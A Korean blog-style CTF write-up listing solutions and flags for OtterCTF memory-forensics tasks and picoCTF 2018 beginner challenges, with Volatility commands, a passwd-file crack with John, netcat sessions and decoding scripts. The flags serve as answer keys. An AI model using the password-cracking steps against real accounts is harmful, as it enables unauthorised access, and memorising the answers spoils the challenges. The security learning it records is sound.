         1 WinSta0       CF_UNICODETEXT                0x602e3 0xfffff900c1ad93f0 M@il_Pr0vid0rs
         1 WinSta0       CF_TEXT                          0x10 ------------------
         1 WinSta0       0x150133L              0x200000000000 ------------------
         1 WinSta0       CF_TEXT                           0x1 ------------------
         1 ------------- ------------------           0x150133 0xfffff900c1c1adc0

FLAG : CTF{M@il_Pr0vid0rs}


7 - Hide And Seek - 100pt

The reason that we took rick’s PC memory dump is because there was a malware infection. Please find the malware process name (including the extension)

BEAWARE! There are only 3 attempts to get the right flag!

format: CTF{flag}

FLAG : CTF{vmware-tray.exe}


10 - Bit 4 Bit - 100pt

We’ve found out that the malware is a ransomware. Find the attacker’s bitcoin address.

format: CTF{…}

vol.py -f OtterCTF.vmem --profile=Win7SP1x64 procdump -D dump/ -p 3720

https://transfer.sh/Dss8z/hidd.exe 이걸 사용해 비트코인 주소를 뽑아낼 수 있다.

FLAG : CTF{1MmpEmebJkqXG8nQv4cjJSmxZQFVmFo63M}


11 - Graphics is for the weak - 150pt

There’s something fishy in the malware’s graphics.

format: CTF{…}

dnspy를 이용해서 열면 확인할 수있다.

FLAG : CTF{S0_Just_M0v3_Socy}

2018 Pico CTF Writeup

NickName : ind3x

TeamName : sunrin

Score : 16785

Forensics Warmup 1 - Point : 50 [Forensics]

압축 파일을 받고 열어보니 flag.jpg파일이 있었다.

Flag : picoCTF{Welcome_to_forensics}


Forensics Warmup 2 - Point : 50 [Forensics]

png 파일을 받았는데 flag.png에 flag가 적혀있었다.

Flag : picoCTF{extensions_are_a_lie}


General Warmup 1 - Point : 50 [General Skills]

16진법 0x61을 아스키코드로 바꾸라고한다.

Flag : ` picoCTF{A}`


General Warmup 2 - Point : 50 [General Skills]

10진수인 27을 2진수로 변환하라고 한다.

Flag : picoCTF{11011}


General Warmup 3 - Point : 50 [General Skills]

0x3D를 10진수로 변환하라고 한다.

Flag : picoCTF{61}


Resources - Point : 50 [General Skills]

웹 사이트에서 flag를 찾으라고 한다. 그냥 들어가서 command + f 누르고 picoCTF{} 플래그 형식검색했더니 나왔다.

Flag : ` picoCTF{xiexie_ni_lai_zheli}`


Reversing Warmup 1 - Point : 50 [Reversing]

Radare2를 통해서 run 파일을 열고 확인해본 결과 picoCTF{welc0m3_t0_r3VeRs1nG} 라는 문구를 넘겨주고 있었다.

Flag : picoCTF{welc0m3_t0_r3VeRs1nG}


Reversing Warmup 2 - Point : 50 [Reversing]

dGg0dF93NHNfczFtcEwz 를 아스키형식으로 Base64 디코딩 하면 된다.

Flag : picoCTF{th4t_w4s_s1mpL3}


Crypto Warmup 1 - Point : 50 [Cryptography]

llkjmlmpadkkc 를 키 값인 thisisalilkey 를 주고 답을 찾으라 한다. 키 값을 주고 문자열을 바꾸는 형식인 Vigenere Cipher를 참고해 풀었다.

Flag : picoCTF{secretmessage}


Crypto Warmup 2 - Point : 50 [Cryptography]

cvpbPGS{guvf_vf_pelcgb!} 이런 문자가 주어졌는데 rot13으로 파이썬 코드 짜서 돌려줬다.

import codecs
flag = codecs.encode('cvpbPGS{guvf_vf_pelcgb!}','rot_13')
print(flag)
Flag : picoCTF{this_is_crypto!}


Grep 1 - Point : 75 [General Skills]

file이라는 이름의 파일이 주어졌는데 이 문제의 제목처럼 유닉스 계열의 명령어 grep으로 flag형식 문자열을 추출했다.

$ cat file | grep 'picoCTF'
picoCTF{grep_and_you_will_find_d66382d8}
Flag : picoCTF{grep_and_you_will_find_d66382d8}


net cat - Point : 75 [General Skills]

nc 접속하는 법을 알면 쉽게 풀 수 있다. 쉽게 터미널 열어서 접속해주면 된다.

$ nc 2018shell2.picoctf.com 37721
That wasn't so hard was it?
picoCTF{NEtcat_iS_a_NEcESSiTy_0b4c4174}
Flag : picoCTF{NEtcat_iS_a_NEcESSiTy_0b4c4174}


HEEEEEEERE’S Johnny! - Points : 100 [Cryptography]

passwd 파일을 칼리리눅스에서 Johnny이였나 거기에 넣어주고 하면 root계정의 비밀번호가 나온다.

Flag : picoCTF{J0hn_1$_R1pp3d_289677b5}


strings - Point : 100 [General Skills]

유닉스 명령어 strings만 사용할 줄 알면 쉽게 풀 수 있다.

$ strings strings | grep pico
picoCTF{sTrIngS_sAVeS_Time_d3ffa29c}
Flag : picoCTF{sTrIngS_sAVeS_Time_d3ffa29c}


pipe - Point : 110 [General Skills]

nc 서버로 접속하고 파이프를 사용해서 grep으로 문자열을 찾아줬다.

$ nc 2018shell2.picoctf.com 44310 | grep pico
picoCTF{almost_like_mario_a13e5b27}
Flag : picoCTF{almost_like_mario_a13e5b27}


Inspect Me - Point : 125 [Web Exploitation]

개발자도구를 들어가서 sources를 보면 html css js 소스가 있다. 소스를 확인해본 결과 flag가 주석처리 되어있다.

Flag : picoCTF{ur_4_real_1nspect0r_g4dget_b4887011}


grep2 - Point : 125 [General Skills]

쉘 서버에 grep을 사용해서 풀었다. /problems/grep-2_3_826f886f547acb8a9c3fccb030e8168d/ 안에 엄청 수 많은 폴더들이 있었다. grep의 -r 옵션이 하위 디렉토리의 파일들의 문자열을 찾아준다.

$ grep -r pico
files/files2/file20:picoCTF{grep_r_and_you_will_find_556620f7}
Flag : picoCTF{grep_r_and_you_will_find_556620f7}


Client Side is Still Bad - Point : 150 [Web Exploitation]

딱 웹 사이트 들어가자마자 Secure Login Sever를 들어가려면 자격이 필요하다나.. 그래서 소스를 보니 자바스크립트가 있었다.

자바스크립트를 보면 verify라는 함수에서 입력 조건이 써있어서 그대로 써주고 그 입력 조건이 맞으면 alert 뜨게 하는거였다. picoCTF{client_is_bad_9117e9} 이걸 넣어주면 You got the flag! 틀리면 Incorrect password라고 뜬다.

Flag : picoCTF{client_is_bad_9117e9}


Recovering From the Snap - Point : 150 [Forensics]

animals.dd 파일을 받았는데 용량이 10MB나 됐다… 먼저 시그니처를 별다른게 없어서 밑으로 조금 내리다가 보니까 오프셋 9A00 에서 FF D8 FF E0 00 10 4A 46 49 46 jpg 시그니처를 확인하고는 animals.dd파일 안에 여러 이미지가 담겨 있는 것을 알게되었다.

jpg의 푸터 시그니처인 FF D9를 찾았다. 오프셋 A400까지였다. 9A00 ~ A400까지 한 이미지를 추출해냈다.

하지만 이 그림에는 flag가 없었다. 이런 문제는 보통 그림에 photoshop을 사용해서 들어간다.

그래서 photoshop이라는 텍스트를 검색해서 photoshop이 포함되어있는 jpg 파일을 추출해냈다.

오프셋 2DCA00 부터 2E67B0 까지였다. 이 오프셋 범위만 따로 추출해냈더니 flag 이미지가 나왔다.

Flag : picoCTF{th3_5n4p_happ3n3d}


admin panel - Point : 150 [Forensics]

data.pcap 파일을 내려받아서 wireshark 를 이용해 pcap 폴더를 열었다. 여기서 프로토콜이 HTTP인 것을 확인해보니 login, logout, %2f, admin 등등 여러 패킷이 전송된 것을 볼 수 있었다. 이 패킷들을 따로 추출해서 확인해봤다.

텍스트파일중 login(2)를 확인해봤더니 flag가 적혀있었다. user=admin&password=picoCTF{n0ts3cur3_df598569}

Flag : picoCTF{n0ts3cur3_df598569}


caesar cipher 1 - Point : 150 [Cryptography]

ciphertext라는 text파일을 받고 열어본 결과 picoCTF{grpqxdllaliazxbpxozfmebotlvlicmr} 이렇게 나와있는데 대괄호 안을 카이사르 암호로 치환하면 된다. 파이썬 코드로 돌렸더니 ROT23번째가 flag였다.

def translate(string, key, mode):
    translated_string = ""
 
    if mode == 'decrypt':
        key = -key
 
    for char in string:
        if char.isalpha():
            num = ord(char)
            num += key
 
            if char.isupper():
                if num > ord('Z'):
                    num -= 26
                elif num < ord('A'):
                    num += 26
            elif char.islower():
                if num > ord('z'):
                    num -= 26
                elif num < ord('a'):
                    num += 26
            translated_string += chr(num)
        else:
            translated_string += char
    return translated_string

encrypted = 'grpqxdllaliazxbpxozfmebotlvlicmr' # input
for i in range(1, 26):
    decrypted = translate(encrypted, i, 'decrypt')
    print ("".join(['ROT', str(i), ': ', decrypted]))
Flag : picoCTF{justagoodoldcaesarcipherwoyolfpu}


environ - Points : 150 [General Skills]

유닉스 셸 명령어 env를 이용해서 환경변수를 확인했다.

$ env | grep pico
SECRET_FLAG=picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492}
Flag : picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492}


hex editor - Points : 150 [Forensics]

HxD로 Find로 pico 형식을 입력하니까 바로 나왔다.

Flag : picoCTF{and_thats_how_u_edit_hex_kittos_8BcA67a2}


Secret Agent - Points : 200 [Web Exploitation]

시크릿 에이전트를 사용할 줄 몰라서 시간 엄청 뺏긴 문제다. http://2018shell2.picoctf.com:3827/flag 이 링크에서 flag를 누르면 이상한게 뜨는데 내가 사용하는 크롬,웨일,사파리 등등 뜨길래 당황했다. 정말 이런 문제 처음 접해봤지만 신기했다. flag를 누르면 너는 구글이 아니라고 뜨길래 구글에서 엄청 찾다가 구글 봇이라는 걸 찾았다. 내가 사용하고있는 에이전트를 구글 봇으로 바꿔주면 된다.

개발자모드(F12) 들어가서 NetWork 들어가서 밑에 콘솔창 옆에 점 세개 있는거 누르고 NetWork Conditions 누르고 거기서 에이전트를 구글봇으로 바꿔주고 다시 웹 사이트 접속해서 FLAG 눌러주면 flag가 나온다.

Flag : picoCTF{s3cr3t_ag3nt_m4n_12387c22}


Truly an Artist - Points : 200 [Forensics]

HxD로 pico형식 찾으니까 바로 나왔다.

Flag : picoCTF{look_in_image_7e31505f}


now you don’t - Points : 200 [Forensics]

배경이 완전히 빨강색이고 PNG이길래 그림판으로 색을 덮어줬더니 Flag가 나왔다.

Flag : picoCTF{n0w_y0u_533_m3}


what base is this? - Points : 200 [General Skills]

nc로 접속하면 진수를 아스키코드를 30초안에 바꾸라고 나온다. 쉽게 쓱싹 바꿔줬다.

$ nc 2018shell2.picoctf.com 1225
We are going to start at the very beginning and make sure you understand how data is stored.
apple
Please give me the 01100001 01110000 01110000 01101100 01100101 as a word.
To make things interesting, you have 30 seconds.
Input:
 apple
Please give me the 67696d70 as a word.
Input:
gimp
Please give me the  164 165 162 164 154 145 as a word.
Input:
turtle
You got it! You're super quick!
Flag: picoCTF{delusions_about_finding_values_451a9a74}


store - Points : 400 [General Skills]

r2 열어서 분석했더니 쉽게 나왔다.

이런게 400점이나…

Flag : picoCTF{numb3r3_4r3nt_s4f3_cbb7151f}


quackme - Points : 200 [Reversing]

주소의 값을 가져와서 xor 연산해주면 된다. 여기서 알게된 점이 flag 형식을 통해 문제를 푸는 방법을 듣고 좋은 팁을 알아갔다.

table = [0x29, 0x6, 0x16, 0x4f, 0x2b, 0x35, 0x30, 0x1e, 0x51, 0x1b, 0x5b, 0x14, 0x4b, 0x8, 0x5d, 0x2b, 0x52, 0x17, 0x1, 0x57, 0x16, 0x11, 0x5c, 0x7, 0x5d]
flag = [0x59, 0x6f, 0x75, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x6e, 0x6f, 0x77, 0x20, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x44, 0x75, 0x63, 0x6b]
answer = ""
for i in range(len(table)):
    answer += chr(table[i]^flag[i])
print(answer)

Flag : picoCTF{qu4ckm3_7ed36e4b}


quackme up - Points : 350 [Reversing]

11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 95 20 15 35 20 15 00 70 C1 이 값이 나오도록 만들라고 해서 이 문제는 노가다로 1을 입력하면 05 이런식으로 나오길래 알파벳, 특수기호, 번호를 입력해서 값을 찾아서 일일이 매칭시켜줬다.

Flag : picoCTF{qu4ckm3_8c02c0af}


후기

우리반에서 보안 공부하는 애들과 함께 나간 대회이다. 이 기회를 통해 친구들과 재밌게 즐겼던거 같다. 포렌식 문제들은 거의 스테가노 문제였고 많이 풀었던 형식들이라 쉽게 풀 수 있었지만 어려운 포렌식 문제는 아직 능력이 안되서 그런지 풀지 못했다. 리버싱은 대회가 끝나고 친구의 도움으로 풀었다. 아직은 너무 부족하고 열심히 공부해서 내년에는 꼭 풀 수 있도록 해야겠다.q